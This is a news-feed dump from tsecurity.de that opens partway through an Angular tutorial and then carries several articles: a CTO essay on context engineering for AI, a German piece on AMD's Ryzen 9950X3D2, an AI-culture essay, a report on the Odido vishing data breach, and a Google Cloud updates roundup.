    • angular.json: The configuration file for the CLI itself. It tells the build tools how to process your code, though you will rarely need to touch this file manually anymore.

    Here is the basic flow of how the engine renders these components:

    1. The arrival (HTML): The browser receives index.html. The tag is there, but it’s empty.
    2. The unpacking (JavaScript): The browser sees the tags at the bottom of the HTML and downloads the JavaScript bundles (your compiled code) from src/app/app.ts.
    3. The assembly (Bootstrap): The browser runs that JavaScript. The code “wakes up,” finds the tag in the DOM, and dynamically inserts your title, buttons, and lists.

    This flow will be different if you are using server-side rendering (SSR), but we’ll leave that option aside for now. Now that you’ve seen the basic architecture, let’s get into the code.

    Developing your first web app in Angular

    If you open src/app/app.ts (more info here) the component definition looks like this:

    import { Component, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  protected readonly title = signal('iw-ng');
}

    Before we dissect the code, let’s run the app and see what it produces:

    $ ng serve

    You should see a page like this one at localhost:4200:

    A screenshot of a Hello, World! app built with Angular.

    Matthew Tyson

    Returning to the src/app.ts component, notice that there are three main parts of the definition: the class, the metadata, and the view. Let’s unpack these separately.

    The class (export class App)

    Export class App is vanilla TypeScript that holds your component’s data and logic. In our example, title = signal(‘iw-ng’) defines a piece of reactive state. Unlike older versions of Angular where data was just a plain property, here we use a signal. Signals are wrappers around values that notify the template precisely when they change, enabling fine-grained performance.

    The metadata (@Component)

    The @Component decorator tells Angular it is dealing with a component, not just a generic class. There are several elements involved in the decorator’s communication with the engine:

    • selector: 'app-root': Defines the custom HTML tag associated with any given component. Angular finds in your index.html and renders the component there.
    • imports: In the new Angular era, dependencies are explicit. You list exactly what a component needs (like RouterOutlet or other components) here, rather than hiding them in a separate module file.
    • templateUrl: Points to the external HTML file that defines the view.

    The view (the template)

    This is the visual part of the component, defined in app.html. It combines standard HTML with Angular’s template syntax. (JSX handles this part for React-based apps.)

    We can modify src/app/app.html to see how these three elements work together. To start, delete the default content and add the following:

    Hello, {{ title() }}

    The double curly braces {{ }} are called interpolation. Notice the parentheses in title(). We are reading the “title” signal value by calling its function. If you were to update that signal programmatically (e.g., this.title.set('New Value')), the text on the screen would update instantly.

    Angular’s built-in control flow

    Old-school Angular required “structural directives” like *ngIf and *ngFor logic control. These were powerful but required importing CommonModule and learning a specific micro-syntax. Modern Angular uses a built-in control flow that looks like standard JavaScript (similar to other Reactive platforms).

    To see the new control flow in action, let’s add a list to our component. Update src/app/app.ts as follows, leaving the rest of the file the same:

    export class App {
  protected readonly title = signal('iw-ng');
  protected readonly frameworks = signal(['Angular', 'React', 'Vue', 'Svelte']);
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v => !v);
  }
}

    While we’re at it, let’s also update src/app/app.html to render this new list (don’t worry about for now; it just tells Angular where to render the framing template):

    

@if (showList()) {
  
      
    @for (tech of frameworks(); track tech) {
      
    • {{ tech }}
      • 
    }
  
    
} @else {
  
    List is hidden
    
}

    The app will now display a list that can be toggled for visibility:

    Screenshot of a list that can be toggled on and off for visibility.

    Matthew Tyson

    This syntax is cleaner and easier to read than the old *ngFor loops:

    • @if conditionally renders the block if the signal’s value is true.
    • @for iterates over the array. The track keyword is required for performance (it tells Angular how to identify unique items in the list).
    • (click) is an event binding. It lets us run code (the toggleList method) when the user interacts with the button.

    Services: Managing business logic in Angular

    Components focus on the view (i.e., what you see). For the business logic that backs the application functionality, we use services.

    A service is just a class that can be “injected” into a component that needs it. This is Angular’s famous dependency injection system. It allows you to write logic once and reuse it anywhere. It’s a slightly different way of thinking about how an application is wired together, but it gives you real organizational benefits over time.

    To generate a service, you can use the CLI:

    $ ng generate service frameworks

    This command creates a src/app/hero.ts file. In modern Angular, we define services using the @Injectable decorator. Currently, the src/app/hero.ts file just has this:

    import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root',
})
export class Frameworks {
  
}

    Open the file and add a simple method to return our data:

    import { Injectable } from '@angular/core';

@Injectable({
  providedIn: 'root', // Available everywhere in the app
})
export class Frameworks {
  getList() {
    return ['Angular', 'React', 'Vue', 'Svelte'];
  }
}

    The providedIn: 'root' metadata is important, it tells Angular to create a single, shared instance of this service for the entire application (you might recognize this as an instance of the singleton pattern).

    Using the service

    In the past, we had to list dependencies in the constructor. Modern Angular offers a cleaner way: the inject() function. Subsequently, we can refactor our src/app/app.ts to get its data from the service instead of hardcoding it:

    import { Component, inject, signal } from '@angular/core';
import { RouterOutlet } from '@angular/router';
import { Frameworks } from './frameworks'; // Import the service

@Component({
  selector: 'app-root',
  imports: [RouterOutlet],
  templateUrl: './app.html',
  styleUrl: './app.css'
})
export class App {
  private frameworksService = inject(Frameworks); // Dependency Injection
  
  protected readonly title = signal('iw-ng');
  
  // Initialize signal with data directly from the service
  protected readonly frameworks = signal(this.frameworksService.getList());
  protected showList = signal(true);

  toggleList() {
    this.showList.update(v => !v);
  }
}

    Dependency injection is a powerful pattern. The component doesn’t need to know where the list came from (it could be coming from an API, a database, or a hard-coded array); it just asks the service for what it needs. This pattern adds a bit of extra work up front, but it delivers a more flexible, organized codebase as the app grows in size and complexity.

    Routers and routes

    Once your application grows beyond a single view, you need a way to navigate between different screens. In Angular, we use the built-in router for this purpose. In our example project, src/app/app.routes.ts is the dedicated home for the router config. Let’s follow the steps for creating a new route.

    First, we define the route. When you open src/app/app.routes.ts, you will see an exported routes array. This array contains the available routes for your app. Each string name resolves to a component that handles rendering that route. In effect, this is the map of your application’s landscape.

    In a real application, you’d often have “framing template” material in the root of the app (like the navbar) and then the routes fill in the body content. (Remember that by default, Angular is designed for single-page apps, where navigation does reload the screen, but swaps content.)

    For now, let’s just get a sense of how the router works. First, create a new component so we have a destination to travel to. In your terminal, run:

    $ ng generate component details

    This will generate a simple details component in the src/app/details directory.

    Now we can update src/app/app.routes.ts to include this new path. We will also add a “default” path that redirects empty requests to the home view, ensuring the user always lands somewhere:

    import { Routes } from '@angular/router';
import { App } from './app'; // Matches src/app/app.ts
import { Details } from './details/details'; // Matches src/app/details/details.ts

export const routes: Routes = [
  { path: '', redirectTo: '/home', pathMatch: 'full' },
  { path: 'home', component: App },
  { path: 'details', component: Details },
];

    Now if you visit localhost:4200/home, you’ll get the message from the details component: “Details works!”

    Next, we’ll use the routerLink directive to move between views without refreshing the page. In src/app/app.html, we create a navigation bar that sits permanently at the top of the page (the “stationary” element), while the router swaps the content below it (the “impermanent” element):

    And with that, the application has a navigation flow. The user clicks, the URL updates, and the content transforms, all without the jarring flicker of a browser reload.

    Parametrized routes

    The last thing we’ll look at is handling route parameters, where the route accepts variables in the path. To manage this kind of dynamic data, you define a route with a variable, marked by a colon. Open src/app/app.routes.ts and add a dynamic path:

    export const routes: Routes = [
  // ... existing routes
  { path: 'details/:id', component: Details }, 
];

    The :id is a placeholder. Whether the URL is /details/42 or /details/108, this router will receive it because it matches the path. Inside the details component, we have access to this parameter (using the ActivatedRoute service or the new withComponentInputBinding). We can use that value to retrieve the data we need (like using it to recover a detail item from a database).

    Conclusion

    We have seen the core elements of modern Angular: Setting up the environment, building reactive components with signals, organizing logic with services, and tying it all together with interactive routing.

    Deploying these pieces together is the basic work in Angular. Once you get comfortable with it, you have an extremely powerful platform at your fingertips. And, when you are ready to go deeper, there is a whole lot more to explore in Angular, including:

    • State management: Beyond signals, Angular has support for managing complex, application-wide state.
    • Forms: Angular has a robust system for handling user input.
    • Signals: We only scratched the surface of signals here. Signals offer a powerful, fine-grained way to manage state changes.
    • Build: You can learn more about producing production builds.
    • RxJS: Takes reactive programming to the next level.
    ]]>         <![CDATA[Why AI needs contextual intelligence — not just bigger models]]> https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/ https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/ Mon, 13 Jul 2026 11:08:42 +0200 📰 IT Security Nachrichten tsecurity.de

    A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.

    One team had a wildly disproportionate share of tickets — about 50% of their sprint time was spent on “bugs,” versus roughly 25% for everyone else. The headline number suggested a quality problem.

    It wasn’t. When we layered in the context around those tickets, almost none of them were bugs. They were manual workarounds for a missing product capability: customers asking us, one request at a time, to restore items they had accidentally deleted. Not shipping an item restore feature was burning roughly 1.5 engineers’ worth of capacity. I went back to our product team and said, “Build this, and you reclaim a person and a half.”

    The analysis took 45 minutes. It was only possible because our data was already organized, tagged by team, connected to contributors, accessible through MCP and protected by role-based access. None of that is “AI.” All of it is the layer underneath AI that almost nobody invests in first. That’s probably because the investment is unglamorous: updating data dictionaries, access controls, team taxonomies, system-to-system mappings. Most of the work has been the same for twenty years. AI just raised the cost of skipping it.

    The intelligence underneath the models

    I keep coming back to the value of context data layers as a CTO in the middle of an AI rollout. I have started calling that value proposition contextual intelligence because I haven’t found a better name. Anthropic’s engineering team has been calling this kind of work “context engineering” since late 2025, and CIO ran its own feature on the term shortly after. Whether you describe it as contextual intelligence or context engineering, it’s the part of the stack where the actual programming work still lives.

    If business logic is your company’s official org chart, then contextual intelligence is knowing who actually gets things done, how decisions are actually made and what the unwritten rules are. One is theory. The other is reality.

    Most enterprise systems capture the theory. The systems that capture how work actually happens — what people do, how teams operate, where decisions get stuck — are rarer and harder to build. And modern LLMs, it turns out, are useless without both.

    I learned this the hard way at a recent company hackathon. Nine engineering teams, one prompt: make our operational dataset more usable through AI. My team built persona-based chatbots (CFO, CIO, sales manager) on top of an MCP server backed by Postgres and our enrichment data. Other teams built dashboard generators, Looker conversational analytics and workflow agents.

    The initial demos all had the same problem. Claude could talk to our data, but the answers were either generic or confidently wrong. The CFO persona would happily report a “spend trend” that quietly conflated two distinct cost categories across two different tables. The CIO persona would answer questions about team productivity, but the averages across roles should never have been aggregated. The sales manager persona returned answers that were technically correct against the schema and completely wrong against the business. The raw data was rich. The context layer around it didn’t exist yet. Chatting with raw data is not an AI product. It’s a demo.

    One of my senior engineers spent the second day ripping out the agent’s direct database connection. He stopped trying to prompt-engineer the LLM to understand our business and instead codified that logic into the data pipeline. Working backward from the failed CFO answers, he mapped out the implicit knowledge an experienced controller relies on: Explicitly defining which legacy tables actually represent ‘spend,’ writing the rules for currency normalization and hardcoding our fiscal time windows. He built a series of semantic SQL views to enforce these rules and restricted the MCP server to exposing only this curated layer. When we pointed the same model at those same questions, it returned completely different answers. They were specific, evidence-based and grounded in our actual business reality. The model didn’t get smarter. The engineering beneath it did.

    The same pattern shows up everywhere I look right now

    McKinsey keeps publishing that software development tops enterprise AI use cases, with companies reporting 30–50% productivity gains in pilots. The pilot numbers are real. They rarely translate to top- or bottom-line impact in production. Our own company data tells the same story: Between Q1 2025 and Q1 2026, our total AI tool usage grew by 328% (over 4x). Over that same period, PR throughput grew by just 49%.

    That gap — adoption way up, outcomes inching along — is the context gap. Plug a generic agent into raw, uninterpreted data, and it will act inefficiently at best, harmfully at worst. An agent optimizing sales without your customer segmentation or product hierarchy will confidently recommend the wrong thing. Anthropic framed the shift directly: building with language models is becoming “less about finding the right words and phrases for your prompts, and more about answering the broader question of what context configuration is most likely to generate our model’s desired behavior.” That second question — what context configuration  — is the entire game. Most organizations are still answering the first one.

    Where the work actually lives

    A growing number of CTOs I talk to are shifting their AI investments accordingly. Less attention on the model. More on the layer between the model and the data.

    When peers ask me what that actually looks like day-to-day, I tell them I give every engineering role the same mandate: the LLM should never see raw, uncontextualized data.

    In practice, that breaks down to three pieces of work, none of them glamorous.

    The first is semantic middleware. We need code that transforms raw data into business-meaningful signals before it ever reaches the model. Our feature stores hold things like “employee code velocity on critical-path features,” not “X logged 50 Git commits.” The work of figuring out what “critical-path” means in our product, in our org, on this team is the work. It does not get cheaper because the model has gotten better.

    The second is multi-agent design. Instead of one omniscient orchestrator, we run smaller agents scoped to specific domains, each with rules that catch the failure modes the main model is known for. We pair them with RAG that retrieves precomputed insights, with their rules attached, rather than raw documents. Validation checkpoints sit between steps and flag suggestions that violate known constraints, such as averaging productivity across completely different job functions. The guardrails are not there to be clever. They are there because we already watched the model make those exact mistakes.

    The third is evaluation that takes business logic seriously. When I look at a model, general benchmark accuracy is the least interesting number. I want to know whether it respects our constraints and integrates cleanly with our existing architecture. That sometimes means fine-tuning our patterns, sometimes constitutional approaches to embed principles, sometimes hybrid systems where deterministic rules sit alongside the probabilistic ones. The throughline is the same: validate against reality, not against the benchmark.

    Why this matters now

    The reason this matters more now than it did six months ago is that adoption is moving faster than measurement, let alone integration. Model Evaluation & Threat Research’s (METR) developer productivity work tells the story in a way they didn’t intend. In early 2025, they ran a controlled study and found AI tools slowed experienced open-source developers by 19%. When they tried to repeat the study in late 2025, the experiment broke. Thirty to fifty percent of developers refused to submit tasks under the no-AI condition. They wouldn’t accept working without their tools. METR is now redesigning the study because the original methodology no longer holds up against how developers actually work. That’s how fast adoption moved. But I’d be willing to bet the organizational scaffolding required to convert that adoption into outcomes — context layers, workflow redesign, retraining around new tools — moved nowhere near as fast.

    Get ahead with context

    The teams I’ve seen succeed with AI built the context layer first. The teams I’ve seen struggle eventually built in context anyway, just at higher cost and with more scar tissue. Raw data is the new currency. But raw data without a context layer is cash sitting in a vault. It cannot act on anything. The difference between insight and noise is a layer of code that understands what your data means.

    That layer is the work. It is where the next decade of competitive advantage will sit. And in my experience, the organizations that build it first are the ones that will actually get the productivity gains the rest of the market keeps promising.

    This article is published as part of the Foundry Expert Contributor Network.
    Want to join?

    ]]>         <![CDATA[Die CPU der Höllenmaschine HMX 6: AMD Ryzen 9 9950X3D2 Dual Edition]]> https://tsecurity.de/de/3664640/it-nachrichten/die-cpu-der-hoellenmaschine-hmx-6-amd-ryzen-9-9950x3d2-dual-edition/ https://tsecurity.de/de/3664640/it-nachrichten/die-cpu-der-hoellenmaschine-hmx-6-amd-ryzen-9-9950x3d2-dual-edition/ Mon, 13 Jul 2026 10:32:39 +0200 📰 IT Nachrichten tsecurity.de

    Der AMD Ryzen 9 9950X3D2 Dual Edition ist der erste Desktop-Prozessor weltweit, bei dem beide CPU-Chiplets (CCDs) mit AMDs 3D-V-Cache-Technik ausgestattet sind. Die AM5-CPU richtet sich sowohl an ambitionierte Gamer als auch an professionelle Anwender mit hohen Leistungsanforderungen.

    Die auf der Zen-5-Architektur basierende CPU verfßgt ßber 16 Kerne und kann dank Simultaneous Multithreading (SMT) bis zu 32 Threads gleichzeitig verarbeiten. Der Basistakt beträgt 4,3 GHz, während der maximale Boost-Takt bei bis zu 5,6 GHz liegt. Die TDP gibt AMD mit 200 Watt an.

    GekĂśpfte und wassergekĂźhlte CPU

    Noch mehr Leistung und eine höhere Stabilität entlocken wir dem Prozessor, indem wir ihn von Roman @der8auer Hartung professionell köpfen lassen. Gekühlt wird der AMD-Prozessor dann mit dem CPU-Block Thermal Grizzly Mycro Direct-Die Pro, den wir in der HMX 6 an eine Custom-Wasserkühlung anschließen.

    Thermal Grizzly Mycro Direct-Die Pro

    Thermal Grizzly

    Der High-End-Kßhler wurde speziell fßr den Direct-Die-Betrieb entwickelt, passt also perfekt zu unserem gekÜpften HMX-6-Prozessor. Der Kßhler verfßgt ßber eine vernickelte Kupferbodenplatte mit optimierter Mikrofinnenstruktur, die eine besonders effiziente Wärmeabfuhr gewährleistet. Und natßrlich ist auch eine adressierbare RGB-Beleuchtung mit an Bord.

    Optimale Lastverteilung dank doppeltem 3D-V-Cache

    Das herausragende Merkmal des 9950X3D2 ist der 3D-V-Cache auf beiden CCDs. Im Gegensatz zu bisherigen X3D-Modellen, bei denen nur ein Chiplet ßber den zusätzlichen Cache verfßgte, profitieren nun beide Chiplets davon. Dadurch wird die Lastverteilung zwischen den CCDs optimiert, was insbesondere in Spielen sowie in cacheintensiven Anwendungen fßr eine konstantere und hÜhere Leistung sorgt.

    Im Gaming-Bereich ist der Ryzen 9 9950X3D2 der aktuell schnellste Prozessor der Welt. Gegenüber dem bisherigen Ryzen 9 9950X3D sind – abhängig vom jeweiligen Spiel – Leistungszuwächse von rund 5 bis 10 Prozent möglich. Auch professionelle Anwendungen wie 3D-Rendering, Softwareentwicklung, Simulationen oder KI-Workloads profitieren von der erweiterten Cache-Ausstattung, wenngleich die Leistungsgewinne hier in der Regel moderater ausfallen. Der AMD Ryzen 9 9950X3D2 Dual Edition kostet aktuell knapp 900 Euro, der Thermal Grizzly Mycro Direct-Die Pro schlägt mit rund 130 Euro zu Buche und das Köpfen des 9950X3D2 durch Roman ist unbezahlbar.

    AMD Ryzen 9 9950X3D2 Dual Edition on a pedestal

    AMD

    So gewinnen Sie die HMX 6

    Auch dieses Jahr verlosen wir die HĂśllenmaschine unter allen Teilnehmern

    Gewinnen Sie hier die HMX 6

    Wie Sie die HMX 6 verfolgen kĂśnnen

    In den kommenden Wochen folgen weitere Inhalte rund um die Höllenmaschine 6 auf YouTube, Instagram, TikTok, Facebook und natürlich auf pcwelt.de. Wenn Sie nichts verpassen wollen, sollten Sie den kostenlosen HMX-6-Newsletter abonnieren – aber vergessen Sie nicht, die Anmeldung via E-Mail zu bestätigen.

    ]]>         <![CDATA[5 steps to building an AI-ready culture before your next technology investment]]> https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/ https://tsecurity.de/de/3664589/it-nachrichten/5-steps-to-building-an-ai-ready-culture-before-your-next-technology-investment/ Mon, 13 Jul 2026 10:03:45 +0200 📰 IT Nachrichten tsecurity.de

    Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, or shiny tech investments; they’re about people. How do we equip our teams to thrive amid disruption – not just survive it? What practical steps move us from mere digitisation to lasting transformation?

    These are the questions at the heart of a recent episode in our Decoding Business Transformation series. I had the pleasure of hosting Dr Sean Gallagher, founder of Humanova and one of Australia’s foremost voices on the future of work. The insights and recommendations below are drawn directly from that conversation, and I believe every boardroom should confront them head-on: In the era of agentic AI, culture will determine winners, not code.

    The fancy tech is table stakes. People are the differentiator.

    Let’s debunk a persistent myth: successful AI adoption is not a technology problem – it’s a talent and culture challenge.

    Recent BCG research shows that high-performing AI leaders invest 70% of their resources into people and processes, with just 10% going to the algorithms themselves. Real value emerges when we empower individuals at every level – equipping them with the mindset, capabilities, and (crucially) the psychological safety to experiment with and apply new technologies.

    As Dr Gallagher put it: “AI is a talent strategy, not just a technology play.” Transformation begins not with a new tool, but with a fundamental reimagining of how we nurture, develop, and inspire our people to explore, experiment, and adapt.

    Why most AI projects fail: Ignoring the human element

    Here’s a sobering truth, surfaced by Deloitte a decade ago: humans adapt to exponential technologies much faster than organisations do. The mistake? Leaders try to “bolt on” AI to outdated processes – putting a rocket on a jalopy, so to speak.

    True transformation happens when we flip the script: empower employees first, technology second.

    Frameworks such as the “Work Value Pyramid” can help organisations focus on shifting time away from repetitive administrative work and towards creativity, problem-solving, and strategic innovation. In practice, this means:

    • Resisting knee-jerk reductions in headcount. Your people’s tacit knowledge is invaluable capital.
    • Rewiring incentives and KPIs to reward learning, experimentation, and sharing.
    • Destigmatising “shadow AI” use. Bring your secret AI champions into the open, empower them as peer teachers, and build psychological safety for everyone to explore.

    Flatten the org; Redesign the work

    The blueprint for winning in the AI age is taking shape: Flatter, Faster, Fitter, Fewer.

    • Flatter: Remove unnecessary hierarchy. Push decision-making to the edges of the organisation.
    • Faster: AI is about more than simply doing things; it’s about doing them at the speed the market now demands.
    • Fitter: Build nimble, AI-literate teams who treat AI as a digital colleague – not a threat.
    • Fewer: Growth is not about increasing headcount; it’s about unlocking higher-value work for everyone.

    Above all, resist the temptation to simply automate legacy processes. As McKinsey put it, “the fundamental redesign of workflows is the largest factor correlated with real impact.” Start with people and how work creates value – then let AI accelerate, not dictate, those improvements.

    Measurement: Macro, not micro

    Most companies focus on the wrong metrics: time saved per prompt, or “AI-powered” process widgets. That’s missing the point.

    Instead, focus on:

    • Business-wide impact: Are you accelerating time-to-market? Opening new revenue streams? Raising the innovation bar?
    • Learning culture: Are teams sharing use cases and lessons? Is experimentation a norm?
    • Accountability KPIs: Prioritise experimentation, collaboration, and demonstrated learning over mere output.

    In closing: The real transformation is human

    If there’s one message from my conversation with Dr Gallagher, and from everything I’ve seen working with the world’s most ambitious brands, it’s this:

    • Invest deeply in your people – early, intentionally, and continuously.
    • Amplify the learning and experiments of your early adopters.
    • Model the behaviour you seek, starting with leadership.
    • Redefine productivity around effectiveness and innovation – not just efficiency.

    Generative AI, and the new breed of AI “agents”, are rapidly becoming our digital colleagues. But only human curiosity, courage, and culture can unlock their full value. In this era, the ultimate competitive advantage is not code. It’s culture.

    To learn more about Twilio, visit here.

    ]]>         <![CDATA[Vishing Call Becomes Key Lead in Massive Odido Cyberattack]]> https://tsecurity.de/de/3664411/it-security-nachrichten/vishing-call-becomes-key-lead-in-massive-odido-cyberattack/ https://tsecurity.de/de/3664411/it-security-nachrichten/vishing-call-becomes-key-lead-in-massive-odido-cyberattack/ Mon, 13 Jul 2026 08:37:04 +0200 📰 IT Security Nachrichten tsecurity.de Odido cyberattack

    The investigation into the Odido cyberattack has uncovered possible involvement of Dutch nationals, according to Dutch police, as authorities continue to investigate the ShinyHunters ransomware-linked attack that exposed the personal data of approximately 6.39 million customers. Law enforcement has urged the public to come forward with information as investigators work to identify those responsible for one of the country's largest telecom data breaches.

    The cyberattack took place on February 5 and 6 after attackers allegedly used voice phishing (vishing) to deceive Odido's customer service team.

    According to the company, the attackers posed as members of its internal IT staff, gaining unauthorized access before exfiltrating customer data. Odido said its teams detected the unauthorized access immediately on both occasions and revoked the attackers' access, but the incident still resulted in a large-scale data breach.

    Odido Cyberattack Investigation Finds Possible Dutch Link

    Under the direction of the National Public Prosecution Service, the High Tech Crime Team (THTC) of the National Investigation and Intervention Unit launched an extensive investigation into the breach.

    Authorities said investigators have found strong indications that Dutch criminals may have been involved. One key lead centers on a phone call made shortly before the breach in which a Dutch-speaking man allegedly impersonated an Odido IT employee while speaking with customer service representatives. Police are continuing efforts to identify the caller and have indicated that his voice could be made public if necessary.

    Investigators believe people within cybercrime circles may have information about those responsible and are encouraging anyone with relevant details to contact law enforcement.

    ShinyHunters Named as Threat Actor

    Odido attributed the attack to the cybercriminal group ShinyHunters, which the company said carried out the social engineering campaign.

    Chief Executive Officer Søren Abildgaard acknowledged the incident in a public statement, apologizing to customers and outlining the company's commitment to strengthening its cybersecurity capabilities. He said Odido would continue investing in security, improve data protection practices, expand customer support, and share lessons learned from the incident.

    The CEO also explained why the company refused to pay the ransom demand. According to Odido, paying cybercriminals would reward illegal activity and could encourage future attacks against other Dutch organizations. The company said the decision was made following guidance from authorities, despite knowing that stolen data could eventually be published.

    Millions of Customers Impacted

    Odido confirmed that approximately 6.39 million active and former customers of Odido and its Ben brand were affected by the breach. Customers of Simpel were not impacted.

    The exposed information varied by individual and included names, addresses, mobile phone numbers, customer numbers, email addresses, IBAN numbers, dates of birth, identification details, nationality, and gender.

    The company clarified that My Odido account passwords, call records, location data, billing information, and scans of identity documents were not compromised.

    Odido also addressed reports claiming customer passwords had been leaked, stating that login passwords remain securely encrypted and were never accessible during the attack. Instead, a separate telephone verification field known as "password_c," used as a customer challenge code, was included for a limited number of customers. The company has since discontinued using that verification method.

    Customer Support and Security Measures Expanded

    Following the breach, Odido increased customer support by adding more than 140 service agents and introduced additional security measures. These include its "Check je Gesprek" verification service, allowing customers to confirm whether communications claiming to be from Odido are legitimate, along with access to the F-Secure digital security service.

    The telecom provider said all customers identified as affected have been notified by email or SMS, while customer service teams continue assisting users with questions related to their specific data exposure.

    Meanwhile, Dutch authorities expect investigations into the Odido cyberattack to continue for several months. Police have also warned that cyberattacks targeting businesses and institutions are becoming increasingly common, urging organizations to strengthen cybersecurity defenses and encouraging citizens to remain vigilant against follow-on fraud and phishing attempts.

    ]]>         <![CDATA[The PlayStation physical games debacle is taking over everything Sony does — it’s the biggest tech PR disaster since Sonos’ app update, so will Sony learn the lessons that turned Sonos around?]]> https://tsecurity.de/de/3663697/it-nachrichten/the-playstation-physical-games-debacle-is-taking-over-everything-sony-does-its-the-biggest-tech-pr-disaster-since-sonos-app-update-so-will-sony-learn-the-lessons-that-turned-sonos-around/ https://tsecurity.de/de/3663697/it-nachrichten/the-playstation-physical-games-debacle-is-taking-over-everything-sony-does-its-the-biggest-tech-pr-disaster-since-sonos-app-update-so-will-sony-learn-the-lessons-that-turned-sonos-around/ Sun, 12 Jul 2026 20:02:44 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[What’s new with Google Cloud]]> https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/ https://tsecurity.de/de/3662833/it-security-nachrichten/whats-new-with-google-cloud/ Sun, 12 Jul 2026 08:06:50 +0200 📰 IT Security Nachrichten tsecurity.de

    Want to know the latest from Google Cloud? Find it here in one handy location. Check back regularly for our newest updates, announcements, resources, events, learning opportunities, and more. 

    Tip: Not sure where to find what you’re looking for on the Google Cloud blog? Start here: Google Cloud blog 101: Full list of topics, links, and resources.

    aside_block
    <ListValue: []>

    Jul 6 - Jul 10

    • Webinar: Introducing Google Cloud NGFW Enterprise advanced malware protection - powered by Palo Alto Networks
      Discover the new Cloud NGFW advanced malware sandbox, arriving in preview later this year. Powered by Palo Alto Networks Advanced Wildfire, it leverages data from 70,000+ customers to help defeat advanced malware. Join us on July 16 at 11 AM EDT to learn how to build a resilient, zero-trust cloud infrastructure that protects your apps and data, wherever they reside.

      Register for the webinar now
    • Safely run AI-generated code in Cloud Run sandboxes
      Cloud Run sandboxes, now in public preview, are lightweight, isolated execution boundaries that you can spawn near-instantly within your existing Cloud Run service instances.

      Whether you need to let an LLM run a dynamically generated Python script to calculate business margins or spin up a headless browser to perform web research, Cloud Run sandboxes give you a secure, isolated sandbox to run these tasks without leaving your serverless environment.

      Read the blog to learn more and get started today.
    • Australia API Horizon: Scaling Enterprise Governed AI Agents
      The transition from AI chatbots to autonomous agents is the most critical integration point for your business. Join Google Cloud at our upcoming events to explore exclusive deep-dive sessions on architecting for the agentic era.

      Discover how to use Apigee as an intelligent AI Gateway to govern, secure, and scale high-performance architectures. You will learn to seamlessly build AI tools from your existing APIs and maintain control over your entire ecosystem.

      Join us in your preferred city:
    • Build highly available, multi-region services on Cloud Run
      Maintaining uptime for business-critical applications just got a lot easier on Cloud Run. Service health, now Generally Available, automates cross-region failover by leveraging readiness probes for instance-level health checks with a simple, two-click setup. You can configure service health with global external Application Load Balancers for public-facing applications or cross-region internal Application Load Balancers for private networking traffic.

      Learn how to configure service health for Cloud Run.
    • Report: 83% of organizations need infrastructure upgrades for agentic AI
      The shift from conversational bots to autonomous agents is breaking legacy systems. Our new State of AI Infrastructure report details how engineering leaders are adapting to these massive new workloads. To eliminate inference bottlenecks, control hidden scaling costs, and manage agent sprawl, the industry is rapidly moving toward fluid compute, centralized governance, and unified, co-designed architectures.

      Explore our key infrastructure insights
    • Stop tinkering, start scaling: the industrialized AI Playbook
      Did you know that only 5% of custom AI investments actually return measurable business value? The problem isn’t the technology—it’s how organizations are wired to run it.

      In this compelling read, Google Cloud Consulting breaks down the operational blueprint that bridges the stark gap between "cool tech experiments" and real, P&L-impacting enterprise ROI.

      Read the full article on Medium
    • AI Agent Clinic: Slashing App Latency by 80%
      Prototyping an AI agent is easy, but scaling for live traffic presents unique challenges. In the latest AI Agent Clinic, our technical experts partner with a developer to optimize PlaybackIQ, a live football analysis agent. This session demonstrates how to use OpenTelemetry to trace bottlenecks in the Gemini Enterprise Agent Platform and deploy to Cloud Run for high-concurrency scaling, achieving an 80% reduction in response time. Learn production-grade debugging strategies to optimize your own LLM applications.

      Watch the 60-minute teardown

    Jun 29 - Jul 3

    • Claude Sonnet 5, Anthropic’s latest model, is now available on Agent Platform.
      This addition serves as a drop-in replacement for Sonnet 4.6, giving organizations expanded choice for task completion across enterprise workflows. It features enhanced reasoning, cleaner code generation, and computer use capabilities for desktop and browser workflows.

      By continuing to rapidly bring frontier models to our platform, Google Cloud offers an uncompromised choice of the industry's best technology to build, test, and scale enterprise-grade AI.

      Get started today.

    • Automate your AI governance with Apigee and YAML
      Manual API gateway configurations can quickly slow down your AI engineering velocity. Join the Apigee community on Thursday, July 16, to discover an automated, declarative blueprint for model garden management. Learn how a simple, repeatable YAML pattern lets your AI practitioners instantly spin up secure, policy-backed enterprise configurations  without friction. Bring your questions and connect during our live Q&A session. 

      Register for the July 16 Community TechTalk

    • Build next-generation AI portals for autonomous agents
      Standard developer portals were designed for human developers to subscribe to static APIs. Today, autonomous agents, LLM toolkits, and dynamic runtimes demand a central nervous system for governance. Join our technical deep dive on Thursday, July 23, to explore Apigee's new AI Portals solution. You will see exactly how to deploy full-service, MCP powered hubs to safely manage enterprise self-service for models, tools, and agents. 

      Register for the July 23 Community TechTalk

    • Protect your infrastructure from advanced cyberattacks at the API layer (Presented in Portuguese)
      In an era of increasingly sophisticated threats, relying solely on traditional firewalls leaves critical data gaps. Join our technical community TechTalk on Thursday, July 30—conducted in Portuguese—to learn how to proactively mitigate risks directly at the gateway layer. This session demonstrates how to configure and govern essential Apigee security policies to build a robust line of defense, ensuring maximum availability and complete integrity for your enterprise microservices.

      Register for the July 30 Portuguese Community TechTalk

    Jun 22 - Jun 26

    • Accelerate TPU model loading while saving RAM on GKE.
      Large model cold starts often stall scaling and leave high-value TPUs idle. The open-source Run:ai Model Streamer now natively supports TPUs with Google Cloud Storage in TPU vLLM 0.18.0. This integration accelerates inference pipelines on GKE by streaming tensors directly into CPU memory, bypassing local disk bottlenecks and the "double-buffering" trap. In benchmarks, loading a 480B parameter model was over 2x faster while cutting peak host memory usage by half. Read the full guide and get started today.
